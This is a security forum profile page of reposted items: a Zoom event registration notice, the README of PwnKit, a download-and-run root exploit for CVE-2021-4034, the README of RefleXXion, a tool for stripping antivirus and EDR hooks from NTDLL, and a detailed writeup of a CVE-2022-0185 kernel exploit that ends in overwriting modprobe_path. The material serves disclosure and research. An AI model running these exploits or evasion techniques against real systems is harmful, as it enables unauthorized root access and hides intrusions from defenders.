Jump to content

Nytro

Administrators
  • Posts

    18578
  • Joined

  • Last visited

  • Days Won

    642

Posts posted by Nytro

  1. Momentan am deschis inregistrarile: 

     

    Evenimentul se va desfășura folosind platforma Zoom. Pentru înregistrare vă rugăm să folosiți următoarele:
    - Prima zi (17 martie): https://us02web.zoom.us/webinar/register/7716432416217/WN_ihd6n-QbT9SmhUFEEiOouw
    - A doua zi (18 martie): https://us02web.zoom.us/webinar/register/8216433285169/WN_FvmdS_d2SJSo-OJpFaNRMA

     

    Voi reveni cu info detaliate referitoare la call for papers si CTF si pe site. Asteptam propuneri pentru prezentari. Cred ca e o ocazie ideala: online, cerintele nu sunt (momentan) foarte stricte... :D 

  2. Buna intrebare: 50 de minute. Nu trebuie sa fie exact, fiecare prezentare are alocate 60 de minute inclusiv intrebari. Doar sa nu dureze prea putin, 20-30 de minute de exemplu ca ramanem in pauza prea mult.

    Voi reveni in curand cu mai multe detalii, tot fac teste cu Zoom, am incercat Zoom Events care pare fancy si e cam porcarie, deci tot la webinar cred ca ramanem. 

  3. PwnKit

    Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

    Usage

    Should work out of the box on Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.

    wget https://github.com/ly4k/PwnKit/raw/main/PwnKit
    chmod +x ./PwnKit
    ./PwnKit

    Example

    example.png

    Technical Details

    References

     

    Sursa: https://github.com/ly4k/PwnKit

    • Upvote 1
  4. RefleXXion

    Introduction

    RefleXXion is a utility designed to aid in bypassing user-mode hooks utilised by AV/EPP/EDR etc. In order to bypass the user-mode hooks, it first collects the syscall numbers of the NtOpenFile, NtCreateSection, NtOpenSection and NtMapViewOfSection found in the LdrpThunkSignature array. After that, there are two techniques that the user can choose to bypass the user-mode hooks.

    Technique-1, reads the NTDLL as a file from C:\Windows\System32\ntdll.dll. After parsing, the .TEXT section of the already loaded NTDLL (where the hooks are performed) in memory is replaced with the .TEXT section of the clean NTDLL.

    In Technique-2, NTDLL reads as Section from KnownDlls, \KnownDlls\ntdll.dll. (beacuse DLL files are cached in KnownDlls as Section.) After parsing, the .TEXT section of the already loaded NTDLL (where the hooks are performed) in memory is replaced with the .TEXT section of the clean NTDLL.

    The detailed flow of the methodology and all techniques is given below.

    RefleXXion Flow

    How to Use

    You can open and compile the project with Visual Studio. The whole project supports x64 architecture for both Debug and Release modes.

    The RefleXXion-EXE solution generates the EXE for PoC purpose. If you want to understand how the project works step by step, it will make your job easier. Main function contains Technique1 and Technique2 functions definations. Comment one of them and compile. Do not use both functions at the same time.

    The RefleXXion-DLL solution generates the DLL that you inject into the process you want to bypass the user-mode hooks for NTDLL. At the beginning of the main.cpp file, there are definitions of which technique to use. You can choose one of them and compile it. Do not set all values at the same time, set only the one technique you want. Example configuration is given below.

    // Techniques configuration section
    #define FROM_DISK 1 // If you set it to 1, the Technique-1 will be used. For more information; https://github.com/hlldz/RefleXXion
    #define FROM_KNOWNDLLS 0 // If you set it to 1, the Technique-2 will be used. For more information; https://github.com/hlldz/RefleXXion

    Operational Usage Notes & OPSEC Concerns

    • RefleXXion currently is only supports for x64 architecture.

    • RefleXXion only unhooks NTDLL functions, you may need to unhook other DLLs (kernel32.dll, advapi32.dll etc.) as well. For this, you can easily edit the necessary places in the project.

    • The RefleXXion only uses the RWX memory region when overwriting the .TEXT section process starts. For this process a new memory reginon is not created, the existing memory region (the TEXT section of the NTDLL that is already loaded) is RWXed and then converted to RX.

      ULONG oldProtection;
      ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &oldProtection);
      memcpy()...
      ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, oldProtection, &oldProtection);
       

      P.S. The RefleXXion invokes the NtProtectVirtualMemory API over the cleanly installed NTDLL. It uses the CustomGetProcAddress function for this because the clean NTDLL is not in the InLoadOrderModuleList even though it is loaded into memory. So a solution like here (https://stackoverflow.com/questions/6734095/how-to-get-module-handle-from-func-ptr-in-win32) will not work. That's why the custom GetProcAddress function exists and is used.

    • You can load RefleXXion DLL from disk to target process. You may not prefer a run like this for sensitive work such as a Red Team operation. Therefore, you can convert the RefleXXion DLL to shellcode using the sRDI project or integrate the RefleXXion code into your own loader or project.

    • Even if NTDLL (as file or as section) is reloaded to the injected process, it does not remain loaded. RefleXXion close all opened handles (file & section handles) for own processes.

    Special Thanks & Credits

     

    Sursa: https://github.com/hlldz/RefleXXion

    • Thanks 2
  5. Hi all,
    
    Now that the discoverers of this bug (CVE-2022-0185) have published their exploit and writeup (https://twitter.com/cor_ctf/status/1486022971034529794), here is the exploit I wrote (attached) and a short writeup:
    
    # Exploiting CVE-2022-0185: A Linux kernel slab out-of-bounds write
    
    Last week, a newly discovered vulnerability was announced on the oss-security mailing list (reference \[6\] at the end of this post).
    
    The bug was discovered and reported to Red Hat by Alec Petridis, Hrvoje Mišetić, Isaac Badipe, Jamie Hill-Daniel, Philip Papurt, and William Liu: thank you very much for discovering this amazing bug and for the opportunity to work on it!
    
    This vulnerability is a heap-based overflow in the Linux kernel, that makes it possible to achieve Local Privilege Escalation (LPE), from any unprivileged user to root.
    
    As mentioned in the announcement on oss-security, we need `CAP_SYS_ADMIN` capability to exploit this bug, but we as an unprivileged user can call `unshare(CLONE_NEWNS | CLONE_NEWUSER)` to enter a new namespace where we have this capability.
    
    This short post analyzes the bug, and explains the approach we adopted to exploit it.
    
    (This is my first Linux kernel exploit for a real-world vulnerability, so please let me know if you have comments or improvements on this post or exploit).
    
    We developed our exploit for Ubuntu 21.04 Hirsute with kernel 5.11.
    
    ## Bug analysis
    
    The bug is located in `fs/fs_context.c` in the function `legacy_parse_param()`:
    
    ```c
    static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
    {
               struct legacy_fs_context *ctx = fc->fs_private;
               unsigned int size = ctx->data_size;
               size_t len = 0;
    
               if (strcmp(param->key, "source") == 0) {
                          if (param->type != fs_value_is_string)
                                     return invalf(fc, "VFS: Legacy: Non-string source");
                          if (fc->source)
                                     return invalf(fc, "VFS: Legacy: Multiple sources");
                          fc->source = param->string;
                          param->string = NULL;
                          return 0;
               }
    
               if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
                          return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");
    
               switch (param->type) {
               case fs_value_is_string:
                          len = 1 + param->size;
                          fallthrough;
               case fs_value_is_flag:
                          len += strlen(param->key);
                          break;
               default:
                          return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
                                           param->key);
               }
    
               if (len > PAGE_SIZE - 2 - size)
                          return invalf(fc, "VFS: Legacy: Cumulative options too large");
               if (strchr(param->key, ',') ||
                   (param->type == fs_value_is_string &&
                    memchr(param->string, ',', param->size)))
                          return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
                                           param->key);
               if (!ctx->legacy_data) {
                          ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
                          if (!ctx->legacy_data)
                                     return -ENOMEM;
               }
    
               ctx->legacy_data[size++] = ',';
               len = strlen(param->key);
               memcpy(ctx->legacy_data + size, param->key, len);
               size += len;
               if (param->type == fs_value_is_string) {
                          ctx->legacy_data[size++] = '=';
                          memcpy(ctx->legacy_data + size, param->string, param->size);
                          size += param->size;
               }
               ctx->legacy_data[size] = '\0';
               ctx->data_size = size;
               ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
               return 0;
    }
    ```
    
    The first time we call `legacy_parse_param()` within a fs context, `ctx->legacy_data` is NULL, so a call to `kmalloc()` is performed, requesting a `PAGE_SIZE`-sized chunk and providing `GFP_KERNEL` as flags.
    
    If we provide a `FSCONFIG_SET_STRING` when calling `fsconfig()`, `legacy_parse_param()` is called to add the parameters to a legacy configuration. Every time this function is called, the `ctx->legacy_data` buffer is filled with the parameters of the legacy configuration. Actually, what is written to the buffer is the key and value for the parameters specified through the `fsconfig()` syscall.
    
    For example, if we call `fsconfig()` and provide `AAAA` as the key and `BBBB` as the value, here is what would be written to the buffer: `,AAAA=BBBB`.
    
    If we keep calling `fsconfig()` with the cmd `FSCONFIG_SET_STRING`, the contents of `ctx->legacy_data` will be increasing, as well as the `ctx->data_size`, which defines the amount of bytes residing in the buffer.
    
    If we can make `size` (`ctx->data_size`) be a value higher than or equal to `PAGE_SIZE - 1`, the result of the subtraction will underflow to a huge value, thus always making `len` be less than the result of the subtraction. This will make every subsequent calls to `fsconfig()` have the ability to keep sending strings, which are actually going to be written out-of-bounds (OOB).
    
    To reach this OOB condition, we need to call `fsconfig()` a number of times (sending parameter strings) until `ctx->data_size` is higher than or equal to `PAGE_SIZE - 1`, so the following calls to `fsconfig()` will continue the string-writing without limits.
    
    ## Exploitation overview
    
    This is a short summary of the exploitation process:
    
    1) Spray the kmalloc-4096 with `ctx->legacy_data` buffers and `msg_msg` structures.
    2) Spray the kmalloc-32 with `shm_file_data` structures.
    3) Overflow the next chunk (hopefully a `msg_msg` struct), overwriting the size entry with a higher value.
    4) Request the message through `msgrcv()` with a size bigger than the one used for `msgsnd()`, to trigger an out-of-bounds read.
    5) Hopefully the out-of-bounds data contains the `init_ipc_ns` address, which will allow us to calculate the KASLR base.
    6) Spray the heap again in a similar way to step 1.
    7) Register userfaultfd or FUSE on `mmap()`'ed pages and pass them to `msgsnd()` to block a thread in `copy_from_user()`.
    8) Overflow the next chunk (hopefully a `msg_msg struct`), overwriting the `msg_msg.next` entry with `modprobe_path` - 8.
    9) Release the blocked thread (using userfaultfd or FUSE) and copy data to overwrite `modprobe_path` with our own script.
    10) Force the kernel to call `call_modprobe()`, which executes our script as root.
    
    ## Exploitation details
    
    This overflow happens in the kmalloc-4096 cache, and there are not many well-known ways to spray kmalloc-4096 with useful chunks.
    
    After reading other vulnerability analyses and exploitation posts (please see the references at the end of this post), we found out that `msg_msg` is the ideal object to use for getting read and write primitives.
    
    ### IPC msg operations: a short overview
    
    **Note:** To understand the IPC msg operations better, it is recommended to read the references **[2]** and **[4]** (references at the end of this post).
    
    As we are going to exploit the `msg_msg` structure in this analysis, let us briefly overview how it behaves, and then explain how to get primitives with it.
    
    Using the Linux Kernel IPC message operations, we can send and receive messages to/from a message queue.
    
    This is the main structure that defines it:
    
    ```c
    struct msg_msg {
               struct list_head m_list;
               long m_type;
               size_t m_ts;           /* message text size */
               struct msg_msgseg *next;
               void *security;
               /* the actual message follows immediately */
    };
    ```
    
    We can send messages to the message queue by using `msgsnd()`, which ends up calling `do_msgsnd()`:
    
    ```c
    static long do_msgsnd(int msqid, long mtype, void __user *mtext,
                          size_t msgsz, int msgflg)
    {
               struct msg_queue *msq;
               struct msg_msg *msg;
               int err;
               struct ipc_namespace *ns;
               DEFINE_WAKE_Q(wake_q);
    
               ns = current->nsproxy->ipc_ns;
    
               if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
                          return -EINVAL;
               if (mtype < 1)
                          return -EINVAL;
    
               msg = load_msg(mtext, msgsz);
               if (IS_ERR(msg))
                          return PTR_ERR(msg);
    
               msg->m_type = mtype;
               msg->m_ts = msgsz;
    
               rcu_read_lock();
               msq = msq_obtain_object_check(ns, msqid);
               if (IS_ERR(msq)) {
                          err = PTR_ERR(msq);
                          goto out_unlock1;
               }
    
               ipc_lock_object(&msq->q_perm);
    
               for (;;) {
                          struct msg_sender s;
    
                          err = -EACCES;
                          if (ipcperms(ns, &msq->q_perm, S_IWUGO))
                                     goto out_unlock0;
    
                          /* raced with RMID? */
                          if (!ipc_valid_object(&msq->q_perm)) {
                                     err = -EIDRM;
                                     goto out_unlock0;
                          }
    
                          err = security_msg_queue_msgsnd(&msq->q_perm, msg, msgflg);
                          if (err)
                                     goto out_unlock0;
    
                          if (msg_fits_inqueue(msq, msgsz))
                                     break;
    
                          /* queue full, wait: */
                          if (msgflg & IPC_NOWAIT) {
                                     err = -EAGAIN;
                                     goto out_unlock0;
                          }
    
                          /* enqueue the sender and prepare to block */
                          ss_add(msq, &s, msgsz);
    
                          if (!ipc_rcu_getref(&msq->q_perm)) {
                                     err = -EIDRM;
                                     goto out_unlock0;
                          }
    
                          ipc_unlock_object(&msq->q_perm);
                          rcu_read_unlock();
                          schedule();
    
                          rcu_read_lock();
                          ipc_lock_object(&msq->q_perm);
    
                          ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
                          /* raced with RMID? */
                          if (!ipc_valid_object(&msq->q_perm)) {
                                     err = -EIDRM;
                                     goto out_unlock0;
                          }
                          ss_del(&s);
    
                          if (signal_pending(current)) {
                                     err = -ERESTARTNOHAND;
                                     goto out_unlock0;
                          }
    
               }
    
               ipc_update_pid(&msq->q_lspid, task_tgid(current));
               msq->q_stime = ktime_get_real_seconds();
    
               if (!pipelined_send(msq, msg, &wake_q)) {
                          /* no one is waiting for this message, enqueue it */
                          list_add_tail(&msg->m_list, &msq->q_messages);
                          msq->q_cbytes += msgsz;
                          msq->q_qnum++;
                          atomic_add(msgsz, &ns->msg_bytes);
                          atomic_inc(&ns->msg_hdrs);
               }
    
               err = 0;
               msg = NULL;
    
    out_unlock0:
               ipc_unlock_object(&msq->q_perm);
               wake_up_q(&wake_q);
    out_unlock1:
               rcu_read_unlock();
               if (msg != NULL)
                          free_msg(msg);
               return err;
    }
    ```
    
    which ends up calling `load_msg()`:
    
    ```c
    struct msg_msg *load_msg(const void __user *src, size_t len)
    {
               struct msg_msg *msg;
               struct msg_msgseg *seg;
               int err = -EFAULT;
               size_t alen;
    
               msg = alloc_msg(len);
               if (msg == NULL)
                          return ERR_PTR(-ENOMEM);
    
               alen = min(len, DATALEN_MSG);
               if (copy_from_user(msg + 1, src, alen))
                          goto out_err;
    
               for (seg = msg->next; seg != NULL; seg = seg->next) {
                          len -= alen;
                          src = (char __user *)src + alen;
                          alen = min(len, DATALEN_SEG);
                          if (copy_from_user(seg + 1, src, alen))
                                     goto out_err;
               }
    
               err = security_msg_msg_alloc(msg);
               if (err)
                          goto out_err;
    
               return msg;
    
    out_err:
               free_msg(msg);
               return ERR_PTR(err);
    }
    ```
    
    If the message provided is longer than `DATALEN_MSG`, `alloc_msg()` will allocate segments, where the remaining data is stored forming a linked list. `DATALEN_MSG` is defined as `PAGE_SIZE - sizeof(struct msg_msg)`, and `DATALEN_SEG` is defined as `PAGE_SIZE - sizeof(struct msg_msgseg)`.
    
    `msg_msgseg`, which is the header for the segments that form the linked list of remaining data, is defined as:
    
    ```c
    struct msg_msgseg {
               struct msg_msgseg* next;
               /* the next part of the message follows immediately */
    };
    ```
    
    We can see this just defines the pointer to the next element within the linked list, or NULL to end it.
    
    On the other hand, when calling `msgrcv()`, `do_msgrcv()` ends up being called:
    
    ```c
    static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
                      long (*msg_handler)(void __user *, struct msg_msg *, size_t))
    {
               int mode;
               struct msg_queue *msq;
               struct ipc_namespace *ns;
               struct msg_msg *msg, *copy = NULL;
               DEFINE_WAKE_Q(wake_q);
    
               ns = current->nsproxy->ipc_ns;
    
               if (msqid < 0 || (long) bufsz < 0)
                          return -EINVAL;
    
               if (msgflg & MSG_COPY) {
                          if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
                                     return -EINVAL;
                          copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
                          if (IS_ERR(copy))
                                     return PTR_ERR(copy);
               }
               mode = convert_mode(&msgtyp, msgflg);
    
               rcu_read_lock();
               msq = msq_obtain_object_check(ns, msqid);
               if (IS_ERR(msq)) {
                          rcu_read_unlock();
                          free_copy(copy);
                          return PTR_ERR(msq);
               }
    
               for (;;) {
                          struct msg_receiver msr_d;
    
                          msg = ERR_PTR(-EACCES);
                          if (ipcperms(ns, &msq->q_perm, S_IRUGO))
                                     goto out_unlock1;
    
                          ipc_lock_object(&msq->q_perm);
    
                          /* raced with RMID? */
                          if (!ipc_valid_object(&msq->q_perm)) {
                                     msg = ERR_PTR(-EIDRM);
                                     goto out_unlock0;
                          }
    
                          msg = find_msg(msq, &msgtyp, mode);
                          if (!IS_ERR(msg)) {
                                     /*
                                     * Found a suitable message.
                                     * Unlink it from the queue.
                                     */
                                     if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
                                                msg = ERR_PTR(-E2BIG);
                                                goto out_unlock0;
                                     }
                                     /*
                                     * If we are copying, then do not unlink message and do
                                     * not update queue parameters.
                                     */
                                     if (msgflg & MSG_COPY) {
                                                msg = copy_msg(msg, copy);
                                                goto out_unlock0;
                                     }
    
                                     list_del(&msg->m_list);
                                     msq->q_qnum--;
                                     msq->q_rtime = ktime_get_real_seconds();
                                     ipc_update_pid(&msq->q_lrpid, task_tgid(current));
                                     msq->q_cbytes -= msg->m_ts;
                                     atomic_sub(msg->m_ts, &ns->msg_bytes);
                                     atomic_dec(&ns->msg_hdrs);
                                     ss_wakeup(msq, &wake_q, false);
    
                                     goto out_unlock0;
                          }
    
                          /* No message waiting. Wait for a message */
                          if (msgflg & IPC_NOWAIT) {
                                     msg = ERR_PTR(-ENOMSG);
                                     goto out_unlock0;
                          }
    
                          list_add_tail(&msr_d.r_list, &msq->q_receivers);
                          msr_d.r_tsk = current;
                          msr_d.r_msgtype = msgtyp;
                          msr_d.r_mode = mode;
                          if (msgflg & MSG_NOERROR)
                                     msr_d.r_maxsize = INT_MAX;
                          else
                                     msr_d.r_maxsize = bufsz;
    
                          /* memory barrier not require due to ipc_lock_object() */
                          WRITE_ONCE(msr_d.r_msg, ERR_PTR(-EAGAIN));
    
                          /* memory barrier not required, we own ipc_lock_object() */
                          __set_current_state(TASK_INTERRUPTIBLE);
    
                          ipc_unlock_object(&msq->q_perm);
                          rcu_read_unlock();
                          schedule();
    
                          /*
                          * Lockless receive, part 1:
                          * We don't hold a reference to the queue and getting a
                          * reference would defeat the idea of a lockless operation,
                          * thus the code relies on rcu to guarantee the existence of
                          * msq:
                          * Prior to destruction, expunge_all(-EIRDM) changes r_msg.
                          * Thus if r_msg is -EAGAIN, then the queue not yet destroyed.
                          */
                          rcu_read_lock();
    
                          /*
                          * Lockless receive, part 2:
                          * The work in pipelined_send() and expunge_all():
                          * - Set pointer to message
                          * - Queue the receiver task for later wakeup
                          * - Wake up the process after the lock is dropped.
                          *
                          * Should the process wake up before this wakeup (due to a
                          * signal) it will either see the message and continue ...
                          */
                          msg = READ_ONCE(msr_d.r_msg);
                          if (msg != ERR_PTR(-EAGAIN)) {
                                     /* see MSG_BARRIER for purpose/pairing */
                                     smp_acquire__after_ctrl_dep();
    
                                     goto out_unlock1;
                          }
    
                          /*
                            * ... or see -EAGAIN, acquire the lock to check the message
                            * again.
                            */
                          ipc_lock_object(&msq->q_perm);
    
                          msg = READ_ONCE(msr_d.r_msg);
                          if (msg != ERR_PTR(-EAGAIN))
                                     goto out_unlock0;
    
                          list_del(&msr_d.r_list);
                          if (signal_pending(current)) {
                                     msg = ERR_PTR(-ERESTARTNOHAND);
                                     goto out_unlock0;
                          }
    
                          ipc_unlock_object(&msq->q_perm);
               }
    
    out_unlock0:
               ipc_unlock_object(&msq->q_perm);
               wake_up_q(&wake_q);
    out_unlock1:
               rcu_read_unlock();
               if (IS_ERR(msg)) {
                          free_copy(copy);
                          return PTR_ERR(msg);
               }
    
               bufsz = msg_handler(buf, msg, bufsz);
               free_msg(msg);
    
               return bufsz;
    }
    ```
    
    
    When `do_msgrcv()` is called, once the data is received, the message is unlinked from the queue, unless we provide flag `MSG_COPY`:
    
    ```c
    /*
    * If we are copying, then do not unlink message and do
    * not update queue parameters.
    */
    if (msgflg & MSG_COPY) {
               msg = copy_msg(msg, copy);
               goto out_unlock0;
    }
    
    list_del(&msg->m_list);
    msq->q_qnum--;
    msq->q_rtime = ktime_get_real_seconds();
    ipc_update_pid(&msq->q_lrpid, task_tgid(current));
    msq->q_cbytes -= msg->m_ts;
    atomic_sub(msg->m_ts, &ns->msg_bytes);
    atomic_dec(&ns->msg_hdrs);
    ss_wakeup(msq, &wake_q, false);
    
    goto out_unlock0;
    ```
    
    As we can see, using `MSG_COPY` prevents the use of the `msg_msg.m_list` pointers (`msg_msg.mlist.prev` and `msg_msg.m_list.next`), which (as explained later for both read and write primitives) we need to overwrite to reach entries that follow, like `msg_msg.m_ts` or `msg_msg.next`, and might contain invalid pointers.
    
    Messages are freed with `free_msg()`:
    
    ```c
    void free_msg(struct msg_msg *msg)
    {
               struct msg_msgseg *seg;
    
               security_msg_msg_free(msg);
    
               seg = msg->next;
               kfree(msg);
               while (seg != NULL) {
                          struct msg_msgseg *tmp = seg->next;
    
                          cond_resched();
                          kfree(seg);
                          seg = tmp;
               }
    }
    ```
    
    which calls `kfree()` to free the `msg_msg` structure chunk, and then traverses the linked list until all the segments are `kfree()`'d
    
    This is the function `copy_msg()`:
    
    ```c
    struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
    {
               struct msg_msgseg *dst_pseg, *src_pseg;
               size_t len = src->m_ts;
               size_t alen;
    
               if (src->m_ts > dst->m_ts)
                          return ERR_PTR(-EINVAL);
    
               alen = min(len, DATALEN_MSG);
               memcpy(dst + 1, src + 1, alen);
    
               for (dst_pseg = dst->next, src_pseg = src->next;
                    src_pseg != NULL;
                    dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {
    
                          len -= alen;
                          alen = min(len, DATALEN_SEG);
                          memcpy(dst_pseg + 1, src_pseg + 1, alen);
               }
    
               dst->m_type = src->m_type;
               dst->m_ts = src->m_ts;
    
               return dst;
    }
    ```
    
    As we can see, it performs a copy of a `msg_msg` structure contents, to a destination `msg_msg`.
    
    >From `do_msgrcv()`, and through `do_msg_fill()`,  `store_msg()` is called:
    
    ```c
    int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
    {
               size_t alen;
               struct msg_msgseg *seg;
    
               alen = min(len, DATALEN_MSG);
               if (copy_to_user(dest, msg + 1, alen))
                          return -1;
    
               for (seg = msg->next; seg != NULL; seg = seg->next) {
                          len -= alen;
                          dest = (char __user *)dest + alen;
                          alen = min(len, DATALEN_SEG);
                          if (copy_to_user(dest, seg + 1, alen))
                                     return -1;
               }
               return 0;
    }
    ```
    
    We can see it uses `copy_to_user()` to copy the data to userspace. It first calls `copy_to_user()` for the data stored after the `msg_msg` struct, and then traverses the linked list to send all the remaining segment data.
    
    ### Disclosing memory: out-of-bounds (OOB) read primitive
    
    We want to exploit this bug to achieve LPE, in an environment with default hardening mechanisms (SMEP, SMAP, KPTI, KASLR, ...), so if we want predictable addresses to continue the exploitation we will need to get useful primitives that let us leak pointers.
    
    As mentioned before, if the size of our data surpasses the space within a block, a segment is created for it. Segments are accessed through the entry `msg_msg.next`, which creates a singly linked list to be traversed. We have the ability to overwrite `msg_msg` headers but we have no predictable addresses. The `msg_msg.m_ts` (which corresponds to the size) would allow us (if corrupting it to a higher value), to trigger an out-of-bounds read primitive by requesting more size than the initial one, so it will disclose memory from subsequent allocated chunks.
    
    As detailed in the referenced post **[3]**, if we make msgutil to allocate a `msg_msg` structure, and a segment in the kmalloc-32 cache, we will be able to read out-of-bounds within the kmalloc-32 cache, so spraying with `shm_file_data` structures (which also reside in the kmalloc-32) will allow us to leak the KASLR base due to the existence of a specific entry that points to `init_ipc_ns`, which resides in the kernel data section.
    
    To first be able to trigger an overflow into one of the `msg_msg` chunks, we need to spray the heap to maximize the probability of hitting one of the `msg_msg` sprayed chunks.
    
    To do so, we first spray with `ctx->legacy_data` chunks, to fill the previous holes using `fsopen()` and `fsconfig()`. Then, we spray the kmalloc-4096 with `msg_msg` objects using `msgsnd()`.
    
    To achieve the information leak primitive for `init_ipc_ns` we will need to fill the kmalloc-32 cache, spraying with `shm_file_data` structures, using `shmget()` and `shmat()`.
    
    Finally, allocate the chunk from where we are going to overflow using `fsopen()` and `fsconfig()` (the first time will allocate the chunk).
    
    Now, we will fill the `ctx->legacy_data` buffer by repeatedly calling `fsconfig()` until the conditions to trigger the integer underflow are met.
    
    Once the check causes an integer underflow, we are ready to overflow the next chunk, which is hopefully a `msg_msg` structure. We need to replace the `msg_msg.m_list` pointers, both `msg_msg.m_list.prev` and `msg_msg.m_list.next` with dummy values, as well as `msg_msg.m_type`, and partially overwrite `msg_msg.m_ts` by making it bigger than its original value.
    
    If everything succeeds, we do not know which of the sprayed chunks might be the one we overflowed (if any!), so we call `msgrcv()` on all of these messages with an increased size, so that if any of them had its size increased as a result of the `msg_msg.m_ts` value corruption, it will return out-of-bounds data.
    
    Hopefully, the out-of-bounds data will contain the `init_ipc_ns` pointer, so we have the KASLR base.
    
    Our main target, now that we have the KASLR base, is to craft a write primitive to overwrite `modprobe_path` with our own custom script.
    
    ### Write-what-where primitive
    
    Achieving a write-what-where is a bit more difficult because `msgsnd()` actually allocates and sends bytes, so each call to `msgsnd()` will write to a different newly allocated chunk, unlike `msgrcv()` which reads data from already allocated chunks from previous calls.
    
    However, if we take a look at `load_msg()`:
    
    ```c
    struct msg_msg *load_msg(const void __user *src, size_t len)
    {
               struct msg_msg *msg;
               struct msg_msgseg *seg;
               int err = -EFAULT;
               size_t alen;
    
               msg = alloc_msg(len);
               if (msg == NULL)
                          return ERR_PTR(-ENOMEM);
    
               alen = min(len, DATALEN_MSG);
               if (copy_from_user(msg + 1, src, alen))
                          goto out_err;
    
               for (seg = msg->next; seg != NULL; seg = seg->next) {
                          len -= alen;
                          src = (char __user *)src + alen;
                          alen = min(len, DATALEN_SEG);
                          if (copy_from_user(seg + 1, src, alen))
                                     goto out_err;
               }
    
               err = security_msg_msg_alloc(msg);
               if (err)
                          goto out_err;
    
               return msg;
    
    out_err:
               free_msg(msg);
               return ERR_PTR(err);
    }
    ```
    
    We can see it calls `alloc_msg()`, which allocates both the `msg_msg` and the segments that form the linked list, but our data has not yet been copied.
    
    ```c
    static struct msg_msg *alloc_msg(size_t len)
    {
               struct msg_msg *msg;
               struct msg_msgseg **pseg;
               size_t alen;
    
               alen = min(len, DATALEN_MSG);
               msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
               if (msg == NULL)
                          return NULL;
    
               msg->next = NULL;
               msg->security = NULL;
    
               len -= alen;
               pseg = &msg->next;
               while (len > 0) {
                          struct msg_msgseg *seg;
    
                          cond_resched();
    
                          alen = min(len, DATALEN_SEG);
                          seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
                          if (seg == NULL)
                                     goto out_err;
                          *pseg = seg;
                          seg->next = NULL;
                          pseg = &seg->next;
                          len -= alen;
               }
    
               return msg;
    
    out_err:
               free_msg(msg);
               return NULL;
    }
    ```
    
    Looking at the `alloc_msg()` function, we first see there is a `kmalloc()` allocation of the main `msg_msg` structure plus the contiguous data, and then, there is a loop that will create the singly linked list by initializing the `msg_msg.next` entries.
    
    Returning to `load_msg()` we can see there is a call to `copy_from_user()` once `alloc_msg()` returns, which copies the data from userspace into the space after the `msg_msg` headers.
    
    Then, the remaining data will be copied into segments, so it reads `msg->next` (which was initialized in the `alloc_msg()` function) and performs a `copy_from_user()` for each segment.
    
    The important fact here is that, if we can block the thread in the first `copy_from_user()`, the situation is the following: the objects have already been allocated, and are residing in the heap, and the `msg_msg.next` pointer is already initialized, and pending to be used.
    
    This situation is really favorable to us if we can trigger the OOB write while the thread is blocked, so the events will happen in this order:
    
    1) `load_msg()` / `alloc_msg()`: Allocate chunks and initialize `msg_msg.next` pointers.
    2) `load_msg()` / `copy_from_user()`: Thread will hang here due to a blocking mechanism (like userfaultfd or FUSE).
    2) exploit: Overwrite next chunk, which is a `msg_msg` structure already allocated by `alloc_msg()`, and replace `msg_msg.next` with the address where to write minus 8 (the segment's first value is the pointer to the next value within the linked list, and we want it to be NULL, to end the linked list traversal).
    3) exploit: Release the blocked thread, and copy the payload (the one that overwrites `modprobe_path`, which means the *what* element in the write-what-where primitive) as part of the thread-blocking handling (this can be done with both userfaultfd handlers and FUSE handlers)
    4) `load_msg()`: Retrieve `msg->next` to start traversing the linked list and copying data from userspace memory to segments, but the pointer has already been overwritten previously by our exploit while the thread was blocked.
    5) `load_msg()`: Within that loop, as the pointer has been hijacked, eventually `modprobe_path` will be overwritten by our arbitrary value.
    
    Once we have modified the value of `modprobe_path`, the battle is won! Now we need to force the kernel to make a call to `call_modprobe()`. The typical way, and the one we used in our exploit, is executing a dummy script with magic numbers unknown to the kernel, so the kernel will call `call_modprobe()` to execute the usermode helper to handle this situation, which means the script that we specified for `modprobe_path` will be executed as root.
    
    ## FUSE as a replacement for userfaultfd
    
    Initially, our exploit was developed with userfaultfd as the blocking mechanism to achieve the write primitive. However, since unprivileged userfaultfd is now disabled by default after kernel 5.11, the exploit has been rewritten to use FUSE as the blocking mechanism, and the implementation is quite similar to the one applied with userfaultfd.
    
    We can use FUSE's hello.c program as the base for our FUSE handlers: [https://github.com/libfuse/libfuse/blob/master/example/hello.c](https://github.com/libfuse/libfuse/blob/master/example/hello.c).
    
    We first need to define the operations for which we need a handler, typically:
    
    ```c
    static const struct fuse_operations hello_oper = {
               .getattr        = hello_getattr,
               .readdir       = hello_readdir,
               .open           = hello_open,
               .read            = hello_read,
               .write           = hello_write
    };
    ```
    
    This structure should be passed to `fuse_main()`, as well as the arguments, which can be passed from the hello.c program `main()` argument themselves:
    
    ```c
    int main(int argc, char *argv[]) {
               return fuse_main(argc, argv, &hello_oper, NULL);
    }
    ```
    
    If we want to handle write accesses to a FUSE-backed mmapped page, we can use the function specified by `.write`. We can do the same with `.read` (for read accesses) or with any operation that we define in the `fuse_operations` structure.
    
    If for example we want to block a thread on `copy_from_user()`, we:
    
    1) `mkdir()` a directory to be used as the FUSE mountpoint.
    2) Run the compiled hello.c and provide the path to the directory.
